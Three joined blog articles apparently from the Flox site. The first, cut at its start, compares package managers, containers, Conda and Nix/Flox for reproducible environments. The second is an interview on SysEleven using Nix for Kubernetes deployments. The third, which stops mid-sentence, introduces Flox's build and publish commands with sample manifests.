(**`pip`**, **`npm`**) or the OS boundary (**`apt`**, **`dnf`**, **`brew`**). The question of scope is critical because run- or build-time scopes tend to expand as projects move from local development to CI and production. This is why organizations often require developers to build and debug locally inside the same container images they use in deployment pipelines. This pattern has the advantage of enabling parity between local dev and CI/prod; it has the _disadvantage_ of limiting ergonomics. A containerized environment is basically hermetic: if developers need a compiler, debugger, system library, or other resources, these must be built into the image—or installed manually at runtime. In practice, then, most developers end up penetrating dev containers as part of their workflow. Containers are the default way we ship and run code, along with that code’s runtime dependencies. Given this, it’s easy to confuse them as a solution for _packaging_ software, too. But the primary reason we have containers is as a reliable, portable artifact for deploying and running software at scale. The next section briefly explores the difference between containers and package managers. ### Containers Are for Distributing Software, Not Packaging It Containers are _infrastructure artifacts_ optimized for running workloads in isolated environments to meet common operational needs, like fault tolerance, scaling services, or shipping software to CI and production. They strike a balance between isolation and portability, making them easier to build, run, and maintain than other forms of encapsulation, like VMs. Assuming compatible OS/architecture and OCI runtimes, container images provide a portable, reproducible deployment artifact for shipping and running software at scale. However, a container doesn’t _package_ software any more than a shipping container “packages” goods. Packaging resolves dependencies and conflicts, ABI/API limits, maintainer scripts, policy, and lifecycle hooks—not just where files land. That work happens during the **package build**, i.e., when producing **`.deb`**, **`.rpm`**, or **`.apk`** archive files. Even when it’s time to build a container image, dependency solving and policy enforcement are the responsibility of the package manager (**`apt`**, **`dnf`**, **`apk`** etc.), _not_ the image builder. The container build tool simply installs or copies package artifacts onto a base image, archiving them as read-only OCI layers. Like so many stacked pallets, these layers comprise the container image itself. Containers are part of the infrastructure organizations use to run and deploy software. Isolation is integral to this role, and packaging underpins it. By itself, however, a container image ≠ a package. Like loading packaged cargo into a shipping container, it’s just a means to the end of producing an isolated, portable artifact for deployment. The packaged cargo is what ultimately matters, but the modern software supply chain is built around the container as an intermodal unit for storing, shipping, and delivering software. The upshot is that many if not most organizations rely on containers to build, run, and debug Python and JavaScript/TypeScript projects—and not just when it’s time to deploy them to production. ## What About Conda? Conda is an excellent choice for projects or workloads that primarily involve Python—especially on 64-bit Windows or macOS. Conda is widely used in scientific or data-centric computing, where it’s trusted as a reliable resource for Python stacks with major C/C++/Fortran dependencies. Both [Conda](https://docs.conda.io) and [conda-forge](https://conda-forge.org) distribute precompiled artifacts that link against standard Conda toolchains, so you don’t need a system compiler or source headers to install them. This means Python-native and C/C++/Fortran-linked stacks (with dependencies like NumPy, SciPy, etc.) generally work out of the box. Anaconda, the commercial company behind Conda, is one of just a handful of vendors—along with Flox, Canonical (Ubuntu), SUSE (OpenSUSE), and CIQ (Rocky Linux)—that are authorized to distribute prebuilt, prepatched CUDA packages. Today, Anaconda’s **`defaults`** channel, NVIDIA’s **`nvidia`** channel, and the community-maintained **`conda-forge`** channel all provide CUDA packages, enabling teams to fetch CUDA-accelerated Python dependencies without building them from source. This is a major time-saver: PyTorch, TensorFlow, CuPy, and other CUDA-accelerated dependencies can take hours to compile. ### When and Why to Use Conda Conda’s scope, however, is confined almost exclusively to the Python ecosystem: it does not and cannot manage non-Python services or runtimes. To permit reproducibility across both _space_ (e.g., teammates’ laptops, CI runners, prod clusters, on-prem vs. cloud) and _time_ (i.e., one month, six months, or _six years_ from creation), teams typically **(1)** pin channels and package builds, **(2)** use frozen channel snapshots or internal mirrors, and **(3)** generate **`conda-lock`** lock files with specific builds and hashes, resolving _and installing_ against the same snapshot/mirror. For deployment-grade reproducibility, teams also usually **(4)** capture the result per target platform/ABI in a container image [pinned by digest](https://docs.docker.com/build/building/best-practices/), or build it into in a VM/AMI. Conda works best for Python-centric projects and workloads. If you’re managing scientific, ML, or data engineering workloads, and your dependency graph consists mostly of Python plus compiled C/C++/Fortran dependencies, Conda’s solver metadata reliably picks precompiled, ABI-correct binaries for your platform. Conda is also useful for local Python work on macOS and Windows. On macOS, Conda builds packages against the appropriate Apple SDK, `libc++`, and CPU architecture. On Windows, Conda’s solver selects packages matching the MSVC runtime, [UCRT](https://anaconda.org/conda-forge/ucrt), Windows SDK, and the Windows 64-bit build of each package—including CUDA-accelerated packages if applicable. ### Conda and Reproducibility Conda as a package and environment manager doesn’t span the whole of the SDLC. Its responsibilities stop at building and managing environments, not at delivering, deploying, or running them in CI or production. For example, a Conda project built by a team locally is reproducible to the extent that **(1)** the artifacts and repodata it’s locked against remain unchanged and available, and **(2)** its Conda environment is solved and installed from same frozen channel snapshot on a system whose OS, CPU architecture, and virtual packages match that lock. Needless to say, these conditions are difficult to maintain across local dev, CI, and prod. In practice, then, most teams opt to freeze Conda environments by shipping them inside containers. To keep parity, some teams build and debug inside the same image locally. The upshot is that _Conda by itself_ doesn’t guarantee reproducibility: to achieve reproducible behavior at runtime, most adopters ship and run a container image [pinned by digest](https://docs.docker.com/dhi/core-concepts/digests/). ## The Nix and Flox Alternative Solutions like Nix and Flox support virtual environments, cross-language/cross-toolchain package management, and lockfile-based versioning. They permit portable, reproducible runtime behavior across Linux, macOS, and WSL2. They define virtual environments that run as _subshells_, which is sufficient to isolate projects or workloads without (as with containers) walling developers off from their local systems. Let’s unpack this. **First,**, Nix and Flox environments are “virtual” in that they’re defined as declarative artifacts: a **[shell.nix](https://nix.dev/tutorials/first-steps/declarative-shell.html)** or **[flake.nix](https://nix.dev/concepts/flakes.html)**, in the case of Nix; a **[manifest.toml](https://flox.dev/docs/reference/command-reference/manifest.toml/)** in the case of Flox. These files specify the desired end state of an environment—its dependencies, configuration settings, and run- or build-time parameters—rather than enumerating the procedural steps required to construct it. **Second**, a Nix or Flox environment consists of **(a)** this declarative artifact, **(b)** a lockfile, and **(c)** a forest of symlinks. These symlinks refer to packages that live in an immutable, input-addressed store: **`/nix/store`**. When you activate an environment, Nix or Flox evaluate its declarative artifact and generate symlinks to packages in **`/nix/store`**. Both can resolve dependencies dynamically or from pinned versions, but in all cases they realize the environment as a network of symlinks, rather than copies of real files. **Third**, Nix and Flox environments run as subshells on the host system. Activating a Nix or Flox environment doesn’t spawn a container or VM; rather, it starts a child shell session whose **`PATH`** and related variables are bound to the environment’s symlinked dependencies. This gives developers _most_ of the isolation they need—without the hermetic isolation of working in a dev container. Because the environment runs directly on the host, developers get access to all their local resources. Nix and Flox environments run reproducibly across the entire SDLC. You can [export them to containers](https://flox.dev/blog/nix-and-containers-why-not-both/), [co-locate them with your Git repos](https://flox.dev/blog/flox-and-teams-managing-your-code-and-your-runtime-environment-in-just-one-place/), or invoke them dynamically at runtime. This enables developers to build on their local machines, using exactly the same environments they push to CI and deploy to production. No containers required. ## When to use which tools ### Python - **For quick, standard setup**. Create a **`venv`** and install with **`pip`**. Pin versions in **`requirements.txt`**. Suitable for small projects and experiments. - **For reproducible installs and fewer moving parts**. Use tools like **`uv`** or **`poetry`**. A single command creates an isolated environment and installs from a lockfile. Prefer this for team projects and CI. - For **non-Python dependencies**. Pair Python tooling with a system package manager (apt, Homebrew) or a declarative environment (Nix, Flox). Python tools won’t fetch external libraries or tools for you. ### JavaScript / TypeScript - **For Node.js projects**. Select a Node version with **`nvm`** (or **`n`**, **`fnm`**, **`volta`**), then install with **`npm`**, **`pnpm`**, or **`yarn`**. - **If you want an integrated runtime**. Use Bun or Deno. These ship JavaScript / TypeScript runtimes with built-in package managers and resolvers. **`bun install`** or **`deno cache`** sets up the project without requiring **`nvm`** and **`npm`**. - **For per-project Node pinning**. Commit **`.nvmrc`** (or a Volta toolchain file) so collaborators and CI runners pick the correct Node version automatically. - **For non-JavaScript / TypeScript dependencies**. Pair your JS/TS stack with a system package manager (apt, Homebrew) or a declarative environment (Nix, Flox). JS/TS tools won’t fetch external libraries or tools for you. Note: getting JS/TS dependencies from [Nixpkgs](https://github.com/NixOS/nixpkgs) or the [Flox Catalog](https://hub.flox.dev/packages) gives you deterministic behavior across space and time. ### Polyglot projects (Python + JS) - **For the typical web stack**. Manage Python with **`venv`** + **`pip`** (or **`uv`**/**`poetry`**) and JavaScript with **`nvm`** + **`npm`** (or Bun/Deno if the toolchain allows). Treat each side as its own dependency graph, since Python and JavaScript resolve and version their dependencies independently. - **For unified runtime pinning**. Use **`asdf`** to pin Python and Node versions in one file; continue using the ecosystem-specific package managers (e.g., **`pip`**, **`npm`**) within each project. ### When to favor integrated tools - **For runtime reproducibility across local dev and CI**. Prefer integrated tools like **`uv`** or **`poetry`** for Python; prefer **`volta`** (which gives you Node + npm version pinning) or Bun/Deno where appropriate. These tools provide lockfiles, deterministic installs, and require less in the way of manual coordination. **Note**: none of them manages external dependencies, so reproducibility stops at the language boundary. - **For smoother project handoffs**. Using integrated tools reduces setup drift across laptops and CI runners. ### When you need more than project-level control Cross-language toolchains, compilers, C libraries, source headers, external services (e.g., PostgreSQL), and other artifacts lie outside of what ecosystem-specific tools can manage. In such cases use: - **Pinned containers by image digest** to define the base environment that’s used in CI and production. Build and run locally inside that same digest to keep all dependencies consistent. **Note**: container sizes vary by stack. Python containers with NumPy, SciPy, PyTorch, or TensorFlow—especially with MKL or CUDA support—can reach several gigabytes. Similarly, JavaScript/TypeScript projects that include compilers, bundlers, or node-modules trees (like Webpack, Vite, or Next.js) can also grow to be quite large. - **Conda** for Python-centric stacks with compiled C, C++, or Fortran dependencies, including GPU user-space libraries. Installs come as prebuilt binaries, so no system compiler is needed, and the solver picks ABI-correct builds for your platform. For environments that will be shared across teams, shipped to CI, deployed in production, or debugged by other teams, create **`conda-lock`** files and resolve and install from frozen channel snapshots or mirrors; then ship the environment inside a container pinned by image digest. **Note**: even when you start from minimal bases like **`mambaorg`** or **`micromamba`**, Conda containers can grow to become quite large once scientific or CUDA-accelerated dependencies are included. - **Nix or Flox** to define that same environment as code. Both give you a declarative specification that you can either co-locate with your Git repos, export as OCI images, or invoke dynamically (with **`git clone`**, **`nix build`**, or **`flox activate -r`**) from runners. Nix and Flox extend or (optionally) _replace_ the container model: instead of replaying a prebuilt image, they generate containers directly from a declarative definition, so every dependency is declared upfront and can be rebuilt identically on any machine. Title: Nix in the Wild: Enterprise Nix at SysEleven Source: https://flox.dev/nixinthewild/nix-in-the-wild-syseleven/ Date: 2025-08-06 Category: interview # Nix in the Wild: Enterprise Nix at SysEleven Nix solved the most persistent build and deployment problems SysEleven faced with Kubernetes, enabling it to manage its Kubernetes infrastructure as a declarative system Arik Grahl didn’t set out to become his company’s resident expert in reproducible software builds. But that’s exactly what happened when [SysEleven](https://www.syseleven.de/) replaced Helm charts with Nix to improve the reliability, traceability, and developer experience of its Kubernetes deployments. As one of Germany’s most respected cloud service providers, SysEleven needed reliable package management for Kubernetes: both for deploying its own Kubernetes workloads and for supporting its managed Kubernetes services. Grahl, a senior software engineer with a knack for solving hard problems, searched in vain for a solution. He kept circling back to an option he knew well: Nix. First, Grahl recalled that Nix requires declaring package dependencies up front, which eliminates implicit dependencies and makes builds traceable and easier to audit. Second, Nix supports pinning packages to specific versions, giving reproducible builds at scale. Helm brings powerful templating capabilities to the table, but some of its features can introduce behavior that isn't fully deterministic at render time. In the final analysis, Grahl notes, Helm is designed primarily for _template rendering_ rather than package management. What SysEleven needed, above all, was a deterministic way to manage Kubernetes packages. “Helm made it harder to guarantee completely predictable builds,” Grahl explains. That's when he looked to a trusted solution: [Nix](https://nixos.org/explore/). “I knew already from my experience that Nix could do this. I thought it was the right solution for us.” ## Why Nix Just Made Sense Grahl got started on his Nix journey thanks to a catastrophic laptop failure, which encouraged him to move his setup from Canonical’s Ubuntu Linux distribution to NixOS. “In one day, I was able to replicate my entire existing Ubuntu setup on NixOS,” he says, explaining that Nix’s declarative model made it possible to _define_ everything he needed—e.g., system and user packages, init services, his user environment, even his _dotfiles_—in a `configuration.nix` file. NixOS used this artifact to build the system exactly as defined. “It was like magic. The advantages of [NixOS for] reproducibility and purity were immediately clear to me.” After encountering challenges with the unpredictability of some Helm builds, Grahl describes having what senior software engineers call a moment of clarity: Nix! Nix would be _perfect_ for this problem! It’s like this: When used on its own, Helm appears declarative at first glance, but running commands like `helm install` or `helm upgrade` actually applies rendered templates as live changes to your Kubernetes cluster. Additionally, some of Helm’s built-in functions—such as `now`, `randAlphaNum`, and `lookup`—can introduce elements like time, randomness, or current cluster state into the rendered output before it is sent to the Kubernetes API. By contrast, Nix can be used alongside Helm to ensure builds are driven from pinned inputs in a deterministic and reproducible manner. Nix builds don’t “see” your shell, your environment, or your CI runner … because they happen in a hermetic sandbox. The upshot is that if you don’t declare something in a Nix expression or flake—whether it’s a compiler like `gcc`, a tool like `git`, an environment variable, or even an `rc` file—it won’t be available in the build sandbox. This applies not just to packages and their dependencies, but ambient system state, too. This kind of isolation is exactly what any sane package system needs, especially those for Kubernetes. Even though the benefits of using Nix were clear to Grahl, he worried that its reputation as a complex and unfamiliar build system might be intimidating to coworkers. ## Repackaging Kubernetes CRDs with Nix and Kubenix Grahl’s initial experiments with Nix were simple but strategic, focusing first on repackaging Kubernetes Custom Resource Definitions (CRDs) using **[kubenix](https://github.com/hall/kubenix)**. He saw CRDs as a quick win: though nominally purely declarative, they’re notoriously difficult to package and version reproducibly. Defining CRDs with `kubenix` would make it possible to pin the exact source and content of each one, treating them as part of a declarative deployment environment. At a minimum, this would eliminate one of the most common types of runtime failures, like when a Helm chart would pull in a different version of a CRD than the one the operator was built against. It would also lay the groundwork for making SysEleven’s Kubernetes operator deployments reproducible: the company could use Nix to define, build, and deploy _its entire operator stack_—not just CRDs, but also the operator controller and all transitive dependencies—as a single, reproducible unit. This was powerful stuff. But from Grahl’s perspective, this first project had another, more important upside: it allowed his team to start small with Nix … while still developing an appreciation for its power and potential. “I worried about convincing [colleagues],” he admits, acknowledging that Nix has a reputation for being hard to pick up. “But by beginning with [CRDs], they only had to understand the basics: the syntax, and what Nix offers as a functional language. At that stage, we were mainly using Nix to generate static YAML files—Kubernetes manifests. For most of the early tasks, it was enough to write a simple, vanilla derivation.” ## Nixifying Kubernetes Operators By building on the success they’d had with `kubenix` and CRDs, Grahl and his team set their sights on a more ambitious use case: packaging _their own_ Kubernetes operators, written in Go, as part of a pilot “Nixification” effort. Using Nix’s `buildGoModule` library, they were able to define reproducible builds for their custom-built Kubernetes controllers: components designed both to observe cluster state and make changes to bring it in line with declarative definitions. “Nix was a good fit for this use case because the operator and the controller could be defined as inputs in the context of a declarative build process,” Grahl explains. “So each part of the system was specified clearly, from the source code to the deployment files, and the result could be built in a reproducible way.” That insight shaped the next phase of the Nixification project. Grahl’s team used Nix’s `dockerTools.buildLayeredImage` library to produce OCI container images that included statically compiled Go binaries for their custom-built Kubernetes controllers. This would permit SysEleven to replace traditional approaches (like using Dockerfiles or CI-based image builds) with reproducible, Nix-defined image builds. It works like this: `dockerTools.buildLayeredImage` gives you a way to define the contents of a container as a Nix expression… then _uses Nix itself_ to resolve, build, and assemble those contents directly into an OCI-compliant image. On top of deterministic container builds, this pattern also enables _content-addressable layers_, such that each layer maps to a specific dependency. This speeds up rebuilds, since only the layers tied to changed dependencies are rebuilt—everything else can be reused as-is. Grahl and his team extended this pattern to capture the full deployment artifact set—i.e., source, compiled binary, image, and manifests—in a single Nix flake. Each flake exposes three outputs: - A statically compiled Go binary that implements the controller logic; - An OCI container image built from the Go binary; and - The complete set of Kubernetes manifests used to deploy the controller. From there, they assembled these flakes into a platform-wide catalog—a monorepo-style structure that includes every internal and third-party component needed to deploy the stack. Because each artifact is built from source and tracked (in the monorepo) via input-addressed derivations, this gave them the ability to update their Kubernetes platform stack atomically, while at the same time enjoying full traceability. “At first, we only wrapped Helm Charts,” Grahl says. “But we saw that we could build the controller, the container image, and the manifests all from one flake. And because each of those outputs was defined declaratively, their builds were pure and reproducible. Then we realized we could define the entire stack in the same way.” ## Reproducible Builds, SBOMs, and Full-Stack Traceability with Nix That kind of full-stack traceability unlocked a powerful new opportunity: the ability to generate software bills-of-materials (SBOM). Because each Nix flake already declared its inputs—from upstream dependencies, to controller source code, to runtime configuration—one could now derive an exact listing of everything built into its Kubernetes deployment artifacts. Grahl’s team could associate each artifact with a specific set of hashes, identify known vulnerabilities in transitive dependencies, and share this information with customers. “This kind of visibility simply wasn’t possible before,” Grahl observes. “It’s a direct result of adopting Nix.” It also prefigured a radical architectural shift: Rather than producing image builds as snowflake CI jobs, one could define them as first-class, declarative artifacts—built, versioned, and served entirely within the Nix ecosystem. To deliver on this vision, Grahl’s team developed an internal OCI registry backed by the Nix store, allowing them to serve container images as input-addressable artifacts with absolute provenance. The best part is that with this pattern, the boundary between development and deployment … ceases to exist: It uses the same declarative inputs in both contexts. The artifacts teams build and test locally are identical to the containers deployed in prod … because they’re built from the same exact derivations. “There’s a point where you stop thinking of Nix as just a build tool,” Grahl says. “You see that it gives you a way we define _what your software is_—not just how you build it, but how you explain it, share it, deploy it.” ## Scaling Nix Adoption: Smoother Than Expected Onboarding At SysEleven, Grahl took on the role of the company’s Nix evangelist. Sharing his experience with the team, Grahl hosted a series of hands-on demos and internal workshops, and also paired with teams as requested. The strategy of “Nixifying” CRD files was a helpful starting point. As static YAML files that describe the _schema_—not the behavior—of custom Kubernetes resources, CRDs provided a low-stakes onramp into learning Nix’s declarative model. Engineers didn’t need to translate application logic or author complex build expressions; they could express YAML data in the Nix language and observe how changes to inputs were reflected in the manifests generated by `kubenix`. With this bottom-up approach, they weren’t overwhelmed at the outset and could pick up features of the Nix language organically, as the need arose. Grahl says developers with backgrounds in functional programming took to Nix quickly. Surprisingly, SREs likewise tended to adapt easily: to them, Nix expressions felt analogous to YAML—i.e., a structured format for expressing configuration and logic. And in the SRE role, they didn’t need to grasp the functional concepts underpinning the Nix language. Both agreed that Nix’s unfamiliar syntax was less of a hurdle than the “hard shift-left” imposed by its mental model—the requirement to declare the entire build graph explicitly, up front. Grahl’s main advice is … don’t fight Nix: be open to letting go of prior assumptions. Early frustrations tend to give way once teams internalize the Nix Way—especially the emphasis on declaring all inputs up front _and_ treating builds as pure functions of those inputs. “Nix forces you to do the work up front, but it’s work you’d have to do eventually anyway,” he says. “Once you accept that and stop fighting it, everything gets better.” ## Conclusion: From Pilot to Platform Nix didn’t just solve the most persistent build and deployment problems the community faces with Kubernetes, currently. It gave Grahl and his team a way to manage their Kubernetes infrastructure _as a declarative system_, with every input and dependency explicitly declared and versioned. This had ripple effects across that platform’s development lifecycle … and fundamentally changed how teams across the company build, test, deploy, and think about infrastructure. Today Nix gives: - **Predictable builds**. With all dependencies pinned and declared up front, teams can now trust that what they build locally will behave the same in both CI and production. - **SBOMs for free**. Because every artifact is built from a Nix flake, complete dependency trees are always available. This means the ability to generate SBOMs is a natural _byproduct_ of Nix’s declarative model. - **Reliable GitOps and CI/CD pipelines**. Declarative inputs mean pipelines fail less often, deployments are more predictable, and teams spend less time debugging because they can always reproduce issues. - **Reproducible Infrastructure as code**. Nix goes beyond versioning Kubernetes manifests, it defines the full build graph as code. Every input, dependency, and output is declared, pinned, and reproducible. The cardinal DevOps virtues—viz., build determinism, traceability, and portability—are consequences that follow from Nix’s core design. As properties of Nix and its model, each of these virtues presupposes and reinforces the others. The result is a system where build artifacts aren’t just reproducible, but _provably so_. “At some point, you start seeing Nix as a way to define exactly what your software is,” Grahl explains. “Because if you can define exactly what is in your software, you can always rebuild it, anytime, anywhere. And if you can describe your runtime the same way, you can always run it, anytime, anywhere.” Title: Introducing Flox Build and Publish Source: https://flox.dev/blog/introducing-flox-build-and-publish/ Date: 2025-06-26 Category: guide # Introducing Flox Build and Publish With Flox Build and Publish, your local dev environment is the same as your CI environment, which are the same as your build and runtime environments. You use the same environment across the entirety of the SDLC. Articles about DevOps tend to focus on an outsized abstraction: the DevOps "pipeline." The usual move is to frame this pipeline as something consistent and uniform, rather than a loose collection of steps, environments, and processes. Something similar happens with software packaging. The premise of packaging is that it gives you portability and reproducibility; however, without the right safeguards in place, a software package is arguably just a _wrapper_ that embodies the local conditions of wherever it was built. In both cases, we mistake an abstraction for something _airtight_—something that doesn’t leak. Pipelines and packages are abstractions, but they're also _distractions_. They overshadow the core challenge in producing software: _reproducibility_. What builds and runs in one context (like CI), doesn't always behave the same in staging, let alone production. What works when engineers build locally doesn't always work when pushed to CI. And what works on each engineer's machine doesn't always work when they share it with their team. So "works on my machine" becomes both a metaphor and a mantra for software builds at scale. Time to change that. ## Flox Build & Publish Explained Many teams already use Flox to address some of these issues. They rely on Flox to create, share, and ship reproducible dev environments that Just Work anywhere. They depend on Flox for access to the world's largest collection of open source software. As of today, they can also use Flox to build, package, and install _their own_ software, too. Flox gives teams one tool they can use across the whole of the SDLC. Starting with Flox version 1.5.0, you can use it as an **integrated build system**. With the new **`flox build`** command, you can be certain your software will always build in a reproducible way–inside a completely sandboxed environment. You can even build and package artifacts across multiple platforms (macOS, Linux, and Windows with WSL2) and architectures (x86-64, ARM). When you build in a sandbox, not only are your _builds_ always reproducible, but your _packages_ encapsulate the environment in which they were built, so they, too, always run reproducibly across platforms. Even better, you can use **`flox publish`** to package and publish not just your build artifacts _but all required runtime dependencies_ to your private [Flox Catalog](https://flox.dev/docs/concepts/packages-and-catalog/). In addition to binaries and libraries, you can package up shell scripts, config files, example data, and virtually any other artifact. This gives you a complete, self-contained runtime. You can either **`flox install`** your packages imperatively or define them declaratively in the Flox manifest. Either way, your software and all required dependencies are available for you to use—anywhere. To sum up: - **flox build** – The **`build`** subcommand builds and packages software in a reproducible, optionally sandboxed, environment, with support for building and packaging across operating system platforms and CPU architectures. - **flox publish** – The **`publish`** sub-command performs a complete build before packaging and uploading build artifacts, along with all runtime dependencies, to your private Flox Catalog. Once published, you can **`flox search`**, **`flox show`** and **`flox install`** your packages. ## Building Software with Flox: A Canonical Example You define your build instructions in a new section in the Flox manifest called **`[build]`**. Each entry in the **`[build]`** section specifies a build target—typically an artifact such as one or more binaries, libraries, scripts, config file(s)—and defines how to build it from source. Each build definition includes: - A name, like **`[build.myproject]`**, which identifies the artifact; - A short build script containing the same commands you would normally run manually; - (_Optional_) Metadata fields, like **`description`**, **`version`**, - (_Optional_) A sandbox, defined by **`sandbox = pure`** to isolate the build from the host; - (_Optional_) A list of **`runtime-packages`**, to keep down the size of the resulting artifact's dependency tree. For example, the following build definition runs **[cowsay](https://hub.flox.dev/packages/base/cowsay)** in a sandboxed environment, writes its output to a text file, and stores that file in the build output directory. ``` version = 1 [install] cowsay.pkg-path = "cowsay" [build.cow-greeting] version = "0.0.1" description = "Minimal build using cowsay to write a greeting" sandbox = "pure" runtime-packages = [] command = ''' mkdir -p "$out" cowsay "Ceci n'est pas une commande de build Unix" > "$out/greeting.txt" ''' ``` Let's briefly explore this manifest's most distinctive features: - We define **`version`** and **`description`** metadata keys for the build; - The **`runtime-packages`** key is empty; the "package" itself is a textfile; there's no runtime. - The **`sandbox = "pure"`** line isolates the build from the host system. This promotes build determinism and reproducibility, and also surfaces undeclared dependencies at build time. All output goes to **`$out`**, which is one of the most interesting features of **`flox build`**. Let's spend a few minutes exploring that. Spoiler: You can put a lot more than just build artifacts in **`$out`**. ## The magic of `$out` Think of **`$out`** as the complete, self-contained output of your build, organized according to the [Filesystem Hierarchy Standard](https://refspecs.linuxfoundation.org/FHS_3.0/fhs/index.html) (FHS). It can include binaries (**`$out/bin/`**), libraries (**`$out/lib/`**), configs (**`$out/etc/`**), documentation or examples (**`$out/share/`**), and any other runtime artifacts your software needs. For example, after building **`cow-greeting`** and before publishing, the resultant contents of **`$out`** look like: ``` $out/ └── greeting.txt ``` Even though our `cow-greeting` build is intentionally minimal, it's easy to imagine extending it to follow standard Unix packaging conventions. For example, if we were to add typical FHS directories to our build command with simple `cp` operations, the resulting `$out` structure would mirror what you'd expect from a well-behaved Unix package: ``` $out/ ├── greeting.txt ├── bin/ │ └── show-greeting ├── share/ │ ├── applications/ │ ├── icons/ │ ├── man/ │ └── pixmaps/ ``` In other words, **`$out`** _isn't_ just for binaries or libraries—it's your package's own isolated, **`/usr/`**-like prefix, containing everything it brings to an activated runtime environment. So if your package has runtime requirements like example data, language files, schema definitions, or templates, you can put them in **`share/`**. For a package called **`continuum-transfunctioner`**, its post-build **`$out`** might look like: - **`$out/share/continuum-transfunctioner`**: package-specific resources; - **`$out/share/locale`**: translation files; - **`$out/share/examples`**: sample input, usage demos, etc.; - **`$out/share/templates`**: reusable templates used at runtime; - **`$out/share/schema`**: for format descriptions like JSON Schema, OpenAPI, or Protobuf. If you publish this package to the Flox Catalog, install it to a Flox environment, and activate that environment, Flox materializes the package as part of a unified runtime closure that includes both package- and system-level dependencies. Under the hood, so to speak, this runtime closure is implemented as a **symlink forest**, such that the contents of **`bin/`**, **`lib/`**, **`share/`**, **`etc.,`** are symlinked to corresponding Nix store paths like **`/nix/store/-package-version`**. For example, the materialized runtime for a popular real-world package, **[htop](https://github.com/htop-dev/htop)** (see the **C** build example, below), looks like this: ``` . ├── activate -> /nix/store/0dzzdjpj6d56galcykfxgczs6zi95n6l-flox-interpreter/activate ├── activate.d/ ├── bin/ ├── checksums -> /nix/store/6w13f3xx4qdyxf5wcyfn8zzqyihqjsb9-gcc-14.2.1.20250322-checksum/checksums ├── etc -> /nix/store/0dzzdjpj6d56galcykfxgczs6zi95n6l-flox-interpreter/etc ├── include/ ├── lib/ ├── libexec -> /nix/store/qs54xir5n4vhhbi22aydbkvyyq4v8p0l-gcc-14.2.1.20250322/libexec ├── manifest.lock -> /nix/store/i51q43rl2wqvslw4c5msfc02p44vzj8c-manifest/manifest.lock ├── package-builds.d -> /nix/store/i51q43rl2wqvslw4c5msfc02p44vzj8c-manifest/package-builds.d ├── requisites.txt ├── sbin -> /nix/store/qg3q4ya6z9jw2szl8j7ssjf7f70i4w48-libcap-2.75/sbin └── share/ ``` The store paths themselves vary based on the package, its version, and the hash derived from its build inputs, but the _overall pattern_ is foundational to how Flox and Nix deliver runtime portability and reproducibility. ## Publishing Software with Flox Once you've built your project, publishing it to your private catalog is simple. You just run: ``` $ flox publish -o ``` _Before_ you publish, however, you'll need to take care of a few basics: - The package must be defined in the **`[build]`** section of manifest.toml; - The Flox environment must be inside a Git repo and have at least one package defined in its manifest; - The Git working tree must be clean, with _no_ uncommitted changes to tracked files; - The current commit must be pushed to a Git remote. If you have just one remote, Flox uses it. With multiple remotes, Flox looks only for `upstream` first, then `origin`, and disregards any others. - All files referenced during the build must be tracked by Git. The Git constraints exist in order to lock the published package to a controlled input state. This keeps it from inheriting ambient state from the local build environment. It's a way of creating the conditions for reproducible builds–as well as for traceability and auditability over time. The built package's payload includes essential metadata, like its name, version, dependencies, and its source Git URL and revision. During the build, Flox locks and tracks every input to the build—the contents of **`$out`** plus every package listed under **`runtime-packages`** (and what those packages themselves depend on) in your **`[build]`** definition. This is its "runtime closure." When you run **`flox publish`**, the entire closure gets uploaded to your catalog. And when you **`flox install`** your package, this pulls in the closure–not just your software, but any store paths (i.e., dependencies) that aren't already in your Nix store. Once you've successfully built and tested your package, you're ready to publish it, like so: ``` $ flox publish ``` This triggers a validation build, at the end of which you'll see a message indicating that the derivation you've built is being uploaded to your catalog. Once this is complete, you'll see a status message like this: ``` Completed build of cow-greeting 0.0.1a in local mode ✅ Package published successfully. Use 'flox install barstoolbluz/cow-greeting' to install it. ``` Just running **`flox publish`** is sufficient when your manifest defines a single package and you're publishing to your default private catalog. If you’ve defined multiple packages or want to publish to a different catalog, Flox Publish gives you several options: - **`flox publish -o `**: publish a single package (when only one is defined) to a specific destination - **`flox publish -o `**: publish a specific package to a specific destination - **`flox publish `**: publish a specific package to your default destination For example, if your **`[build]`** section includes targets like **`[build.cow-greeting]`**, **`[build.cow-greeting-tests]`**, and **`[build.cow-greeting-lint]`**, you’ll want to publish just the main package—not the test or lint targets: ``` flox publish cow-greeting ``` You can install your package imperatively, using the **'flox install`** command, or define it in your manifest: ``` [install] "barstoolbluz/cow-greeting".pkg-path = "barstoolbluz/cow-greeting" "barstoolbluz/cow-greeting".systems = ["x86_64-linux"] "barstoolbluz/cow-greeting".pkg-group = "barstoolbluz/cow-greeting" ``` Your packages and their constraints include your FloxHub handle and package name; otherwise, they're defined just like other packages you'd get from the Flox Catalog. In fact, you can search for your package using its name: ``` $ flox search cow-greeting barstoolbluz/cow-greeting Minimal build using cowsay to write a greeting ``` Or show information about available package versions: ``` $ flox show barstoolbluz/cow-greeting barstoolbluz/cow-greeting – Minimal build using cowsay to write a greeting barstoolbluz/cow-greeting@0.0.1a (x86_64-linux only) ``` There's one other difference to take note of, however. When you **`flox install`** a package from the Flox Catalog, it's almost always available for both Linux and macOS, running on either Intel or ARM. But with Flox Build, you must build and publish your package for each platform you want it to run on. So building and publishing your **`cow-greeting`** package on an x86-64 Linux system shows the following message: ``` ⚠️ 'barstoolbluz/cow-greeting' installed only for the following systems: x86_64-linux ``` Building and publishing your **`cow-greeting`** package on an ARM-based MacBook afterwards would show this: ``` ⚠️ 'barstoolbluz/cow-greeting' installed only for the following systems: aarch64-darwin, x86_64-linux ``` Plus, the **`flox show barstoolbluz/cow-greeting`** command now lists both platforms: ``` barstoolbluz/cow-greeting – Minimal build using cowsay to write a greeting barstoolbluz/cow-greeting@0.0.1a (x86_64-darwin, x86_64-linux only) ``` And running **`flox edit`** shows your **`cow-greeting`** package constrained to two target platforms in your manifest: ``` [install] "barstoolbluz/cow-greeting".pkg-path = "barstoolbluz/cow-greeting" "barstoolbluz/cow-greeting".systems = ["aarch64-darwin", "x86_64-linux"] "barstoolbluz/cow-greeting".pkg-group = "barstoolbluz/cow-greeting" ``` That's it. That's Flox Publish in a nutshell. ## Build-time and Runtime Reproducibility You Can Take with You Building and shipping software isn't as straightforward as it could be. As for knowing _exactly_ what you built, how you built it, where it came from, what it needs to run … while being able to track all of this as it evolves? That sometimes feels impossible. Flox's new Build and Publish feature is the missing piece. With Flox, your local dev environment is always the same as your CI environment. And _both_ are always the same as your software's build and runtime environments. You use the same environment across the entirety of the SDLC. You can now build your own software, publish it to the private software repo your organization uses for internal packages, 